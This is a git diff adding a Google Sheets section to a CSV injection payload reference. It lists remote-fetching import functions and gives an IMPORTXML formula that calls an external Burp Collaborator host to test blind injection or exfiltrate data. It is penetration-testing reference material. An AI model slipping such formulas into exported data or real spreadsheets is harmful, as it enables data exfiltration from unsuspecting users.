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csv injection: google sheets formulas

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Alexandre ZANNI 2024-12-04 17:11:36 +01:00 committed by GitHub
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CSV Injection/README.md
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@ -6,6 +6,7 @@
## Summary ## Summary
* [Methodology](#methodology) * [Methodology](#methodology)
* [Google Sheets](#google-sheets)
* [References](#references) * [References](#references)
@ -60,6 +61,23 @@ Technical details of the above payloads:
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe) - `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data - `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
### Google Sheets
Google Sheets allows some additionnal formulas that are able to fetch remote URLs:
* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
So one can test blind formula injection or a potential for data exfiltration with:
```
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
```
Note: an alert will warn the user a formula is trying to contact an external ressource and ask for authorization.
## References ## References
@ -69,4 +87,4 @@ Technical details of the above payloads:
- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/) - [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html) - [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation) - [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection) - [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)